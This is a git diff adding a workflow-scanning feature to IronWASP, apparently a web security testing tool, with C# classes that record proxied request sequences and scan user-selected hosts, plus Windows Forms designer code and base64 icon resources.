e3wbEcFdwKW+jRCaQwQgMKrlYj9wim87IjjFFjoRAkIEIEyyVkxEinwEighAgNiCGlmKAk6RIh9hIgIQ + LlcBN/o2ApPO/BrfRgitIQIQKDaN+Cn4LSYiRT4CRwQgbK4D/uTx969BinwEjQhAwFjPOwo/xUTWYry/ + 78cgtIEIQPj8DbjSw+9egRT5CB4RgMCxHngU6RYT6UdKfOUCEYB8cCfw6xR/7zLMzj8hcEQAcoD1xKNJ + p5jIaqTEV24QAcgPaRUTOR9z6k/IASIAOcF65DHAygR/ZgUwRrx/fhAByBHVcnEJyWbj6a2Wiw/5vk8h + PkQA8kcPyRQTkSIfOUQEIGdUy8VHgV8m0PU0KfKRP0QA8skk4NkY+1uGKVAi5AwRgBxSLRefAabG2OUU + KfKRT0QA8svPiaeYyOOYwiRCDhEByCm2mMjEGLqSIh85RgQg35wDPNLG96XIR84RAcgx1XLxZWBsG11I + kY+cIwKQf2YCD7TwvfuB2b6NF5JFBCDnVMvFVbRWTOQ0+10hx4gAdAYX01wxkbuAub6NFpJHBKADsMVE + RjfxldFS5KMzEAHoHH5DY8VEbgfm+TZWSAcRgA6hwWIiAxjvL2m+OwQRgM7iKuCmOu03AFf7NlJIDxGA + DmJQGvEoDz8AjBLv31ls4tsAIXWuA7aPuH4T8JRv4wRBEARBEARBEARBEARBEARBEARBEARBEARBEARB + EARBEARBEARBEIQI/h+hEP2A1kjQfgAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/Iron/Workflow/Workflow.cs b/Iron/Workflow/Workflow.cs new file mode 100644 index 0000000..30c6332 --- /dev/null +++ b/Iron/Workflow/Workflow.cs @@ -0,0 +1,188 @@ +using System; +using System.Collections.Generic; +using System.Text; +using Newtonsoft.Json; + +namespace IronWASP.Workflow +{ + public class Workflow + { + List intLogIds = new List(); + Analysis.LogAssociations intWorkflowAssociations = null; + WorkflowSource intFlowSource = WorkflowSource.RestApi; + WorkflowType intFlowType = WorkflowType.Normal; + string intName = ""; + Dictionary intInfo = new Dictionary(); + string intUserAgent = ""; + string intLogSource = ""; + int intWorkflowId = 0; + + public Workflow(List _LogIds, string _LogSource, string _UserAgent, WorkflowSource _FlowSource, WorkflowType _FlowType) + { + this.intLogIds = _LogIds; + this.intLogSource = _LogSource; + this.intUserAgent = _UserAgent; + this.intFlowSource = _FlowSource; + this.intFlowType = _FlowType; + } + + internal string GetLogIdsAsString() + { + StringBuilder SB = new StringBuilder(); + foreach (int LogId in intLogIds) + { + SB.Append(LogId); + SB.Append(", "); + } + return SB.ToString().TrimEnd().TrimEnd(','); + } + + internal static List ParseLogIdString(string LogIdsStr) + { + List Ids = new List(); + foreach (string IdStr in LogIdsStr.Split(new char[] { ',', ' ' }, StringSplitOptions.RemoveEmptyEntries)) + { + try + { + Ids.Add(Int32.Parse(IdStr.Trim())); + } + catch { } + } + return Ids; + } + + public void SetInfoJson(string _InfoJson) + { + this.intInfo = JsonConvert.DeserializeObject>(_InfoJson); + } + + public void SetInfo(Dictionary _Info) + { + if (_Info == null) + { + this.intInfo = new Dictionary(); + } + else + { + this.intInfo = _Info; + } + } + + public void SetInfo(string Key, string Value) + { + this.intInfo[Key] = Value; + } + + public void SetId(int _WorkflowId) + { + this.intWorkflowId = _WorkflowId; + } + + public void SetName(string _Name) + { + this.intName = _Name; + } + + public int Id + { + get + { + return intWorkflowId; + } + } + + public string Name + { + get + { + return intName; + } + } + + public Dictionary Info + { + get + { + return intInfo; + } + } + + public string InfoJson + { + get + { + return JsonConvert.SerializeObject(intInfo); + } + } + + public WorkflowSource FlowSource + { + get + { + return intFlowSource; + } + } + + public WorkflowType FlowType + { + get + { + return intFlowType; + } + } + + public string UserAgent + { + get + { + return intUserAgent; + } + } + + public string LogSource + { + get + { + return intLogSource; + } + } + + public Analysis.LogAssociations WorkflowAssociations + { + get + { + if (this.intWorkflowAssociations == null) + { + this.CalculateLogAssociations(); + } + return this.WorkflowAssociations; + } + } + + public void CalculateLogAssociations() + { + Analysis.LogAnalyzer LogAna = new Analysis.LogAnalyzer(); + Dictionary Result = LogAna.Analyze(this.intLogIds, this.LogSource); + if (Result.ContainsKey(this.UserAgent)) + { + this.intWorkflowAssociations = Result[this.UserAgent]; + } + else + { + this.intWorkflowAssociations = null; + } + } + } + + public enum WorkflowType + { + Normal, + Login + } + + public enum WorkflowSource + { + RestApi, + User + } +} diff --git a/Iron/Workflow/WorkflowScanner.cs b/Iron/Workflow/WorkflowScanner.cs new file mode 100644 index 0000000..2346537 --- /dev/null +++ b/Iron/Workflow/WorkflowScanner.cs @@ -0,0 +1,185 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; + +namespace IronWASP.Workflow +{ + internal class WorkflowScanner + { + static List WorkFlows = new List(); + static int CurrentWorkFlowStartIndex = -1; + static string CurrentWorkFlowName = ""; + static Thread ScannerThread = null; + + static List Hosts = new List(); + static List AllowedHosts = new List(); + + internal static List GetWorkflowMarkersList() + { + return new List(WorkFlows.ToArray()); + } + + internal static List GetWorkflowHostsList() + { + return new List(Hosts.ToArray()); + } + + internal static void SetAllowedWorkflowHosts(List _AllowedHosts) + { + foreach (string AH in _AllowedHosts) + { + if (!AllowedHosts.Contains(AH)) AllowedHosts.Add(AH); + } + } + + internal static void CheckWorkflowRequest(Session Sess) + { + if (CurrentWorkFlowStartIndex < 1) return; + + lock (Hosts) + { + if (!Hosts.Contains(Sess.Request.BaseUrl)) + { + Hosts.Add(Sess.Request.BaseUrl); + WorkflowScannerWindow.UpdateWorkflowHostEntryInUi(Sess.Request.BaseUrl); + } + } + } + + internal static void CheckWorkflowResponse(Session Sess) + { + return; + } + + internal static void MarkWorkFlowStart(string Name) + { + CurrentWorkFlowStartIndex = Config.LastProxyLogId + 1; + CurrentWorkFlowName = Name; + } + + internal static void MarkWorkFlowEnd() + { + if (CurrentWorkFlowStartIndex > 0) + { + if (Config.LastProxyLogId >= CurrentWorkFlowStartIndex) + { + WorkFlows.Add(new int[] { CurrentWorkFlowStartIndex, Config.LastProxyLogId }); + WorkflowScannerWindow.UpdateWorkflowEntryInUi(WorkFlows[WorkFlows.Count - 1], CurrentWorkFlowName); + } + CurrentWorkFlowStartIndex = -1; + CurrentWorkFlowName = ""; + } + } + + internal static void StartWorkFlowScans() + { + try + { + ScannerThread.Abort(); + } + catch { } + ScannerThread = new Thread(DoScan); + ScannerThread.Start(); + } + + + internal static void StopWorkFlowScans() + { + try + { + ScannerThread.Abort(); + } + catch { } + WorkflowScannerWindow.UpdateScanStatusInUi(false, "Scan stopped"); + } + + internal static bool IsScanInProgress() + { + try + { + if (ScannerThread.IsAlive) return true; + } + catch { } + return false; + } + + static void DoScan() + { + try + { + List WorkFlowMarkers = new List(); + List HostsToScan = new List(); + lock (WorkFlows) + { + foreach (int[] Marker in WorkFlows) + { + WorkFlowMarkers.Add(Marker); + } + WorkFlows.Clear(); + } + lock (AllowedHosts) + { + foreach (string Host in AllowedHosts) + { + HostsToScan.Add(Host); + } + AllowedHosts.Clear(); + } + foreach (int[] Marker in WorkFlowMarkers) + { + Analysis.LogAnalyzer Analyzer = new Analysis.LogAnalyzer(); + Dictionary AssociationsDict = Analyzer.Analyze(Marker[0], Marker[1], "Proxy"); + foreach (string Ua in AssociationsDict.Keys) + { + ScanAssociation(AssociationsDict[Ua], HostsToScan, Marker); + } + } + WorkflowScannerWindow.UpdateScanStatusInUi(false, "Scan complete"); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Error scanning workflows", Exp); + } + } + + static void ScanAssociation(Analysis.LogAssociations Association, List HostsToScan, int[] Marker) + { + if (Association.NonIgnorableCount > 0) + { + int Index = 0; + foreach (int Id in Association.LogIds) + { + Analysis.LogAssociation Asso = Association.GetAssociation(Id); + if (!Asso.IsIgnorable && HostsToScan.Contains(Asso.DestinationLog.Request.BaseUrl)) + { + Scanner S = new Scanner(Asso.DestinationLog.Request); + if(S.BaseRequest.File.Length == 0 && S.BaseRequest.Query.Count == 0 && S.BaseRequest.UrlPathParts.Count > 1) + { + S.InjectUrl(); + } + S.InjectQuery(); + if ( S.BaseRequest.BodyType == BodyFormatType.Soap || + S.BaseRequest.BodyType == BodyFormatType.Json || + S.BaseRequest.BodyType == BodyFormatType.Multipart || + S.BaseRequest.BodyType == BodyFormatType.Xml ) + { + S.BodyFormat = FormatPlugin.Get(S.BaseRequest.BodyType); + } + S.InjectBody(); + S.CheckAll(); + if(S.InjectionPointsCount > 0) + { + S.WorkFlowLogAssociations = Association; + S.IndexOfRequestToScanInWorkFlowLogAssociations = Index; + WorkflowScannerWindow.UpdateScanStatusInUi(true, string.Format("Scanning Request no.{0} in workflow between logs {1}-{2}", Index, Marker[0], Marker[1])); + S.Scan(); + } + Index++; + } + } + } + } + } +} diff --git a/Iron/Workflow/WorkflowScannerWindow.Designer.cs b/Iron/Workflow/WorkflowScannerWindow.Designer.cs new file mode 100644 index 0000000..73affd5 --- /dev/null +++ b/Iron/Workflow/WorkflowScannerWindow.Designer.cs @@ -0,0 +1,219 @@ +namespace IronWASP.Workflow +{ + partial class WorkflowScannerWindow + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(WorkflowScannerWindow)); + this.WorkflowsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostnamesScopeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanBtn = new System.Windows.Forms.Button(); + this.StatusProgressBar = new System.Windows.Forms.ProgressBar(); + this.StatusLbl = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.WorkflowsGrid)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.HostnamesScopeGrid)).BeginInit(); + this.SuspendLayout(); + // + // WorkflowsGrid + // + this.WorkflowsGrid.AllowUserToAddRows = false; + this.WorkflowsGrid.AllowUserToDeleteRows = false; + this.WorkflowsGrid.AllowUserToResizeRows = false; + this.WorkflowsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.WorkflowsGrid.BackgroundColor = System.Drawing.Color.White; + this.WorkflowsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.WorkflowsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn9, + this.dataGridViewTextBoxColumn27, + this.Column1}); + this.WorkflowsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.WorkflowsGrid.GridColor = System.Drawing.Color.White; + this.WorkflowsGrid.Location = new System.Drawing.Point(9, 41); + this.WorkflowsGrid.Margin = new System.Windows.Forms.Padding(0); + this.WorkflowsGrid.MultiSelect = false; + this.WorkflowsGrid.Name = "WorkflowsGrid"; + this.WorkflowsGrid.ReadOnly = true; + this.WorkflowsGrid.RowHeadersVisible = false; + this.WorkflowsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.WorkflowsGrid.Size = new System.Drawing.Size(288, 151); + this.WorkflowsGrid.TabIndex = 25; + // + // dataGridViewCheckBoxColumn9 + // + this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn9.HeaderText = "ID"; + this.dataGridViewCheckBoxColumn9.MinimumWidth = 20; + this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; + this.dataGridViewCheckBoxColumn9.ReadOnly = true; + this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn9.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.dataGridViewCheckBoxColumn9.Width = 30; + // + // dataGridViewTextBoxColumn27 + // + this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn27.HeaderText = "LOG RANGE"; + this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; + this.dataGridViewTextBoxColumn27.ReadOnly = true; + this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.dataGridViewTextBoxColumn27.Width = 68; + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column1.HeaderText = "WORFLOW NAME"; + this.Column1.Name = "Column1"; + this.Column1.ReadOnly = true; + // + // HostnamesScopeGrid + // + this.HostnamesScopeGrid.AllowUserToAddRows = false; + this.HostnamesScopeGrid.AllowUserToDeleteRows = false; + this.HostnamesScopeGrid.AllowUserToResizeRows = false; + this.HostnamesScopeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.HostnamesScopeGrid.BackgroundColor = System.Drawing.Color.White; + this.HostnamesScopeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.HostnamesScopeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1}); + this.HostnamesScopeGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.HostnamesScopeGrid.GridColor = System.Drawing.Color.White; + this.HostnamesScopeGrid.Location = new System.Drawing.Point(309, 41); + this.HostnamesScopeGrid.Margin = new System.Windows.Forms.Padding(0); + this.HostnamesScopeGrid.MultiSelect = false; + this.HostnamesScopeGrid.Name = "HostnamesScopeGrid"; + this.HostnamesScopeGrid.ReadOnly = true; + this.HostnamesScopeGrid.RowHeadersVisible = false; + this.HostnamesScopeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.HostnamesScopeGrid.Size = new System.Drawing.Size(316, 151); + this.HostnamesScopeGrid.TabIndex = 26; + this.HostnamesScopeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HostnamesScopeGrid_CellClick); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 20; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "SELECT HOSTNAMES IN WORKFLOWS TO SCAN"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanBtn + // + this.ScanBtn.Location = new System.Drawing.Point(34, 210); + this.ScanBtn.Name = "ScanBtn"; + this.ScanBtn.Size = new System.Drawing.Size(118, 23); + this.ScanBtn.TabIndex = 27; + this.ScanBtn.Text = "Scan Workflows"; + this.ScanBtn.UseVisualStyleBackColor = true; + this.ScanBtn.Click += new System.EventHandler(this.ScanBtn_Click); + // + // StatusProgressBar + // + this.StatusProgressBar.Location = new System.Drawing.Point(211, 210); + this.StatusProgressBar.MarqueeAnimationSpeed = 50; + this.StatusProgressBar.Name = "StatusProgressBar"; + this.StatusProgressBar.Size = new System.Drawing.Size(337, 23); + this.StatusProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.StatusProgressBar.TabIndex = 28; + this.StatusProgressBar.Visible = false; + // + // StatusLbl + // + this.StatusLbl.AutoSize = true; + this.StatusLbl.Location = new System.Drawing.Point(33, 255); + this.StatusLbl.Name = "StatusLbl"; + this.StatusLbl.Size = new System.Drawing.Size(151, 13); + this.StatusLbl.TabIndex = 29; + this.StatusLbl.Text = " "; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(555, 13); + this.label1.TabIndex = 30; + this.label1.Text = "Identified workflows are shows below. After all workflows are run click on the \'S" + + "can Workflows\' button to scan them. "; + // + // WorkflowScannerWindow + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(634, 361); + this.Controls.Add(this.label1); + this.Controls.Add(this.StatusLbl); + this.Controls.Add(this.StatusProgressBar); + this.Controls.Add(this.ScanBtn); + this.Controls.Add(this.HostnamesScopeGrid); + this.Controls.Add(this.WorkflowsGrid); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(650, 400); + this.MinimumSize = new System.Drawing.Size(650, 400); + this.Name = "WorkflowScannerWindow"; + this.Text = "Workflow Scanner"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.WorkflowScannerWindow_FormClosing); + this.Load += new System.EventHandler(this.WorkflowScannerWindow_Load); + ((System.ComponentModel.ISupportInitialize)(this.WorkflowsGrid)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.HostnamesScopeGrid)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + internal System.Windows.Forms.DataGridView WorkflowsGrid; + internal System.Windows.Forms.DataGridView HostnamesScopeGrid; + private System.Windows.Forms.Button ScanBtn; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.ProgressBar StatusProgressBar; + private System.Windows.Forms.Label StatusLbl; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewCheckBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; + private System.Windows.Forms.DataGridViewTextBoxColumn Column1; + } +} \ No newline at end of file diff --git a/Iron/Workflow/WorkflowScannerWindow.cs b/Iron/Workflow/WorkflowScannerWindow.cs new file mode 100644 index 0000000..466c472 --- /dev/null +++ b/Iron/Workflow/WorkflowScannerWindow.cs @@ -0,0 +1,182 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP.Workflow +{ + public partial class WorkflowScannerWindow : Form + { + static WorkflowScannerWindow OpenWorkflowScanner = null; + + public WorkflowScannerWindow() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenWorkflowScanner = new WorkflowScannerWindow(); + OpenWorkflowScanner.Show(); + } + OpenWorkflowScanner.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenWorkflowScanner == null) + { + return false; + } + else if (OpenWorkflowScanner.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + internal static void UpdateScanStatusInUi(bool Running, string Message) + { + try + { + OpenWorkflowScanner.UpdateScanStatus(Running, Message); + }catch{ } + } + + delegate void UpdateScanStatus_d(bool Running, string Message); + void UpdateScanStatus(bool Running, string Message) + { + if (StatusProgressBar.InvokeRequired) + { + UpdateScanStatus_d CALL_d = new UpdateScanStatus_d(UpdateScanStatus); + StatusProgressBar.Invoke(CALL_d, new object[]{Running, Message}); + } + else + { + StatusProgressBar.Visible = Running; + StatusLbl.Text = Message; + if (!Running) + { + ScanBtn.Text = "Scan Workflows"; + } + } + } + + + internal static void UpdateWorkflowEntryInUi(int[] WorkflowMarker, string WorkflowName) + { + try + { + OpenWorkflowScanner.UpdateWorkflowEntry(WorkflowMarker, WorkflowName); + } + catch { } + } + + delegate void UpdateWorkflowEntry_d(int[] WorkflowMarker, string WorkflowName); + void UpdateWorkflowEntry(int[] WorkflowMarker, string WorkflowName) + { + if (StatusProgressBar.InvokeRequired) + { + UpdateWorkflowEntry_d CALL_d = new UpdateWorkflowEntry_d(UpdateWorkflowEntry); + StatusProgressBar.Invoke(CALL_d, new object[] { WorkflowMarker, WorkflowName }); + } + else + { + WorkflowsGrid.Rows.Add(new object[] { WorkflowsGrid.Rows.Count + 1, string.Format("{0} - {1}", WorkflowMarker[0], WorkflowMarker[1]), WorkflowName }); + } + } + + + internal static void UpdateWorkflowHostEntryInUi(string Host) + { + try + { + OpenWorkflowScanner.UpdateWorkflowHostEntry(Host); + } + catch { } + } + + delegate void UpdateWorkflowHostEntry_d(string Host); + void UpdateWorkflowHostEntry(string Host) + { + if (StatusProgressBar.InvokeRequired) + { + UpdateWorkflowHostEntry_d CALL_d = new UpdateWorkflowHostEntry_d(UpdateWorkflowHostEntry); + StatusProgressBar.Invoke(CALL_d, new object[] { Host }); + } + else + { + HostnamesScopeGrid.Rows.Add(new object[] { true, Host }); + } + } + + private void ScanBtn_Click(object sender, EventArgs e) + { + if (ScanBtn.Text.Equals("Scan Workflows")) + { + ScanBtn.Text = "Stop Scan"; + List AllowedHosts = new List(); + foreach (DataGridViewRow Row in HostnamesScopeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + AllowedHosts.Add(Row.Cells[1].Value.ToString()); + } + } + StatusProgressBar.Visible = true; + WorkflowScanner.SetAllowedWorkflowHosts(AllowedHosts); + WorkflowScanner.StartWorkFlowScans(); + } + else + { + WorkflowScanner.StopWorkFlowScans(); + StatusProgressBar.Visible = false; + ScanBtn.Text = "Scan Workflows"; + } + } + + private void WorkflowScannerWindow_Load(object sender, EventArgs e) + { + foreach (string Host in WorkflowScanner.GetWorkflowHostsList()) + { + HostnamesScopeGrid.Rows.Add(new object[]{true, Host}); + } + foreach (int[] Marker in WorkflowScanner.GetWorkflowMarkersList()) + { + WorkflowsGrid.Rows.Add(new object[] { WorkflowsGrid.Rows.Count + 1, string.Format("{0} - {1}", Marker[0], Marker[1])}); + } + } + + private void WorkflowScannerWindow_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + WorkflowScanner.StopWorkFlowScans(); + } + catch { } + } + + private void HostnamesScopeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (HostnamesScopeGrid.SelectedRows.Count > 0) + { + if ((bool)HostnamesScopeGrid.SelectedRows[0].Cells[0].Value) + { + HostnamesScopeGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + HostnamesScopeGrid.SelectedRows[0].Cells[0].Value = true; + } + } + } + } +} diff --git a/Iron/Workflow/WorkflowScannerWindow.resx b/Iron/Workflow/WorkflowScannerWindow.resx new file mode 100644 index 0000000..4af6b87 --- /dev/null +++ b/Iron/Workflow/WorkflowScannerWindow.resx @@ -0,0 +1,1933 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0smj3FNlNGXT//Rl0/U0ZdP1NGXT/+OcU2VS0tLJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLo0xLS8XRl0/Q0ZdP1NGXT9TRl0/QTEtLx0tLS6IAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLJ0tLS/xLS0v/mHZNj9GXT7TRl0+0lnVNk0tLS/9LS0v8S0tLJwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLS6RLS0v/S0tL/4yFW4vdzW6x3c1usYqDWpBLS0v/S0tL/0tLS6QAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0v8S0tL/0tLS87czG7E3c1u/93Nbv/czG7GS0tL0UtLS/9LS0v8S0tLKAAA + AAAAAAAAAAAAAAAAAABLS0ulS0tL/0tLS/+NhVuT3c1u/93Nbv/dzW7/3c1u/42GW5lLS0v/S0tL/0tL + S6UAAAAAAAAAAAAAAABLS0spS0tL/EtLS/9LS0vR3Mxuwd3Nbv/dzW7/3c1u/93Nbv/czG7GS0tL0ktL + S/9LS0v8S0tLKQAAAAAAAAAAS0tLpktLS/9LS0v/iYJakt3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/42F + W5lLS0v/S0tL/0tLS6YAAAAAS0tLKktLS/VLS0ulS0tLQdfHbBLdzW5c3c1up93Nbu/dzW7v3c1uqN3N + bl3XyG0US0tLQUtLS6VLS0v1S0tLKktLSy5LS0sSAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4E3c1uBAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLEktLSy7+fwAA/n8AAPw/AAD8PwAA+B8AAPgfAADwDwAA8A8AAOAH + AADgBwAAwAMAAMADAACAAQAAgAEAAAAAAAA+fAAAKAAAACAAAABAAAAAAQAgAAAAAAAAEAAAIy4AACMu + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPB9GXTwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwDRl09t0ZdPbdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPSNGXT6rRl0+q0ZdPSAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + 